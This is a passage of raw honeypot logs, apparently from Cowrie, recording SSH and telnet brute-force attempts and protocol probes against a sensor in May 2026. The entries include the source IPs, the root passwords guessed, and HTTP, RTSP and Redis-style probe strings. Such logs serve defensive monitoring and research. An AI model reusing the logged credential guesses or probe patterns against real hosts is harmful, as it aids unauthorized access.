cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:23.116782Z","src_ip":"43.135.166.146","session":"d1bdd458fcde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xinwei","message":"login attempt [root/xinwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:23.427605Z","src_ip":"43.135.166.146","session":"d1bdd458fcde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:24.499878Z","src_ip":"43.135.166.146","session":"d1bdd458fcde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":44974,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dfef290b49d","protocol":"ssh","message":"New connection: 190.85.41.170:44974 (159.203.135.109:22) [session: 0dfef290b49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:47.406282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:47.411154Z","src_ip":"190.85.41.170","session":"0dfef290b49d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:47.485619Z","src_ip":"190.85.41.170","session":"0dfef290b49d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kafka@123","message":"login attempt [root/kafka@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:47.813518Z","src_ip":"190.85.41.170","session":"0dfef290b49d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:35:48.889662Z","src_ip":"190.85.41.170","session":"0dfef290b49d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":30484,"dst_ip":"10.17.0.5","dst_port":23,"session":"a10882bbf956","protocol":"telnet","message":"New connection: 104.155.98.147:30484 (10.17.0.5:23) [session: a10882bbf956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:20.626287Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":30498,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f1fbb1e11bf","protocol":"telnet","message":"New connection: 104.155.98.147:30498 (10.17.0.5:23) [session: 9f1fbb1e11bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:20.782377Z"}
{"eventid":"cowrie.session.closed","duration":0.006026506423950195,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:20.788243Z","src_ip":"104.155.98.147","session":"9f1fbb1e11bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":30506,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f5e6842f796","protocol":"telnet","message":"New connection: 104.155.98.147:30506 (10.17.0.5:23) [session: 4f5e6842f796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:20.938327Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":51894,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99fa81c14c3","protocol":"telnet","message":"New connection: 167.71.238.254:51894 (10.17.0.5:23) [session: d99fa81c14c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:21.241111Z"}
{"eventid":"cowrie.session.closed","duration":4.361565351486206,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:24.987752Z","src_ip":"104.155.98.147","session":"a10882bbf956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15814,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec41af1ce947","protocol":"telnet","message":"New connection: 104.155.98.147:15814 (10.17.0.5:23) [session: ec41af1ce947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:30.099964Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:30.106615Z","src_ip":"104.155.98.147","session":"ec41af1ce947","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:30.111683Z","src_ip":"104.155.98.147","session":"ec41af1ce947","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09112858772277832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:30.190946Z","src_ip":"104.155.98.147","session":"ec41af1ce947","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15828,"dst_ip":"10.17.0.5","dst_port":23,"session":"85bbdb94ea63","protocol":"telnet","message":"New connection: 104.155.98.147:15828 (10.17.0.5:23) [session: 85bbdb94ea63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:30.266343Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15836,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9f3b27edf04","protocol":"telnet","message":"New connection: 104.155.98.147:15836 (10.17.0.5:23) [session: e9f3b27edf04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:30.423338Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15846,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fc81e314fd2","protocol":"telnet","message":"New connection: 104.155.98.147:15846 (10.17.0.5:23) [session: 6fc81e314fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:30.579486Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15852,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b1992f83f45","protocol":"telnet","message":"New connection: 104.155.98.147:15852 (10.17.0.5:23) [session: 4b1992f83f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:30.734652Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15860,"dst_ip":"10.17.0.5","dst_port":23,"session":"231935c64238","protocol":"telnet","message":"New connection: 104.155.98.147:15860 (10.17.0.5:23) [session: 231935c64238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:30.890192Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15868,"dst_ip":"10.17.0.5","dst_port":23,"session":"73ca819f1f1c","protocol":"telnet","message":"New connection: 104.155.98.147:15868 (10.17.0.5:23) [session: 73ca819f1f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:31.047385Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15882,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b1b8b487bc6","protocol":"telnet","message":"New connection: 104.155.98.147:15882 (10.17.0.5:23) [session: 5b1b8b487bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:31.203461Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15896,"dst_ip":"10.17.0.5","dst_port":23,"session":"61c027541d5e","protocol":"telnet","message":"New connection: 104.155.98.147:15896 (10.17.0.5:23) [session: 61c027541d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:31.357375Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15898,"dst_ip":"10.17.0.5","dst_port":23,"session":"af279ab95f65","protocol":"telnet","message":"New connection: 104.155.98.147:15898 (10.17.0.5:23) [session: af279ab95f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:31.511511Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15904,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f1f008ad30d","protocol":"telnet","message":"New connection: 104.155.98.147:15904 (10.17.0.5:23) [session: 3f1f008ad30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:31.741744Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15914,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd994db99355","protocol":"telnet","message":"New connection: 104.155.98.147:15914 (10.17.0.5:23) [session: fd994db99355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:31.896452Z"}
{"eventid":"cowrie.session.closed","duration":0.005724668502807617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:31.902049Z","src_ip":"104.155.98.147","session":"fd994db99355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15924,"dst_ip":"10.17.0.5","dst_port":23,"session":"d65ff5dbe017","protocol":"telnet","message":"New connection: 104.155.98.147:15924 (10.17.0.5:23) [session: d65ff5dbe017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:32.051439Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15938,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c2d212967db","protocol":"telnet","message":"New connection: 104.155.98.147:15938 (10.17.0.5:23) [session: 9c2d212967db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:32.205977Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15940,"dst_ip":"10.17.0.5","dst_port":23,"session":"065a2b56d022","protocol":"telnet","message":"New connection: 104.155.98.147:15940 (10.17.0.5:23) [session: 065a2b56d022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:32.361874Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15944,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90b76d522d8","protocol":"telnet","message":"New connection: 104.155.98.147:15944 (10.17.0.5:23) [session: f90b76d522d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:32.519355Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15946,"dst_ip":"10.17.0.5","dst_port":23,"session":"da875212bea5","protocol":"telnet","message":"New connection: 104.155.98.147:15946 (10.17.0.5:23) [session: da875212bea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:32.674573Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15956,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4b82e39e6b","protocol":"telnet","message":"New connection: 104.155.98.147:15956 (10.17.0.5:23) [session: 7d4b82e39e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:32.829309Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15964,"dst_ip":"10.17.0.5","dst_port":23,"session":"7856e776f51f","protocol":"telnet","message":"New connection: 104.155.98.147:15964 (10.17.0.5:23) [session: 7856e776f51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:33.005644Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15976,"dst_ip":"10.17.0.5","dst_port":23,"session":"016428c0911d","protocol":"telnet","message":"New connection: 104.155.98.147:15976 (10.17.0.5:23) [session: 016428c0911d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:33.159866Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15978,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ec66a40860d","protocol":"telnet","message":"New connection: 104.155.98.147:15978 (10.17.0.5:23) [session: 3ec66a40860d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:33.315526Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:33.320851Z","src_ip":"104.155.98.147","session":"3ec66a40860d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15982,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6785fa0a962","protocol":"telnet","message":"New connection: 104.155.98.147:15982 (10.17.0.5:23) [session: c6785fa0a962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:33.475704Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":15998,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3970b7f52a7","protocol":"telnet","message":"New connection: 104.155.98.147:15998 (10.17.0.5:23) [session: e3970b7f52a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:33.629647Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":16010,"dst_ip":"10.17.0.5","dst_port":23,"session":"af0d39869143","protocol":"telnet","message":"New connection: 104.155.98.147:16010 (10.17.0.5:23) [session: af0d39869143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:33.783792Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":16020,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c37258d7546","protocol":"telnet","message":"New connection: 104.155.98.147:16020 (10.17.0.5:23) [session: 5c37258d7546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:33.940493Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":16032,"dst_ip":"10.17.0.5","dst_port":23,"session":"20b5ad1053a6","protocol":"telnet","message":"New connection: 104.155.98.147:16032 (10.17.0.5:23) [session: 20b5ad1053a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:34.095365Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":16036,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d73f844764","protocol":"telnet","message":"New connection: 104.155.98.147:16036 (10.17.0.5:23) [session: 57d73f844764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:34.249593Z"}
{"eventid":"cowrie.session.closed","duration":0.005365848541259766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:34.254833Z","src_ip":"104.155.98.147","session":"57d73f844764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":16044,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe50c05b92a3","protocol":"telnet","message":"New connection: 104.155.98.147:16044 (10.17.0.5:23) [session: fe50c05b92a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:34.407990Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.98.147","src_port":16054,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7341dee3f99","protocol":"telnet","message":"New connection: 104.155.98.147:16054 (10.17.0.5:23) [session: b7341dee3f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:34.561936Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8946","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8946] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:34.566718Z","src_ip":"104.155.98.147","session":"b7341dee3f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.75837802886963,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.696424Z","src_ip":"104.155.98.147","session":"4f5e6842f796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.146925687789917,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.708771Z","src_ip":"104.155.98.147","session":"b7341dee3f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.306156873703003,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.714032Z","src_ip":"104.155.98.147","session":"fe50c05b92a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.626011610031128,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.721246Z","src_ip":"104.155.98.147","session":"20b5ad1053a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.785049676895142,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.725434Z","src_ip":"104.155.98.147","session":"5c37258d7546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.945631265640259,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.729312Z","src_ip":"104.155.98.147","session":"af0d39869143","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.41757583618164,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.732976Z","src_ip":"104.155.98.147","session":"3ec66a40860d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.107099294662476,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.736620Z","src_ip":"104.155.98.147","session":"e3970b7f52a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.268922090530396,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.744483Z","src_ip":"104.155.98.147","session":"c6785fa0a962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.588366746902466,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.748119Z","src_ip":"104.155.98.147","session":"016428c0911d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.746292352676392,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.751796Z","src_ip":"104.155.98.147","session":"7856e776f51f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.92716646194458,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.756328Z","src_ip":"104.155.98.147","session":"7d4b82e39e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.085040092468262,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.759495Z","src_ip":"104.155.98.147","session":"da875212bea5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.243761539459229,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.762995Z","src_ip":"104.155.98.147","session":"f90b76d522d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.40467357635498,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.766424Z","src_ip":"104.155.98.147","session":"065a2b56d022","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.563936948776245,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.769733Z","src_ip":"104.155.98.147","session":"9c2d212967db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.721728801727295,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.773024Z","src_ip":"104.155.98.147","session":"d65ff5dbe017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.034615993499756,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.776228Z","src_ip":"104.155.98.147","session":"3f1f008ad30d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.26792573928833,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.779287Z","src_ip":"104.155.98.147","session":"af279ab95f65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.425801277160645,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.783071Z","src_ip":"104.155.98.147","session":"61c027541d5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.582914113998413,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.786245Z","src_ip":"104.155.98.147","session":"5b1b8b487bc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.742355823516846,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.789595Z","src_ip":"104.155.98.147","session":"73ca819f1f1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.90308928489685,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.793062Z","src_ip":"104.155.98.147","session":"231935c64238","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.061653852462769,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.796181Z","src_ip":"104.155.98.147","session":"4b1992f83f45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.219626665115356,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.798968Z","src_ip":"104.155.98.147","session":"6fc81e314fd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.38045620918274,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:36:41.802659Z","src_ip":"104.155.98.147","session":"e9f3b27edf04","protocol":"telnet"}
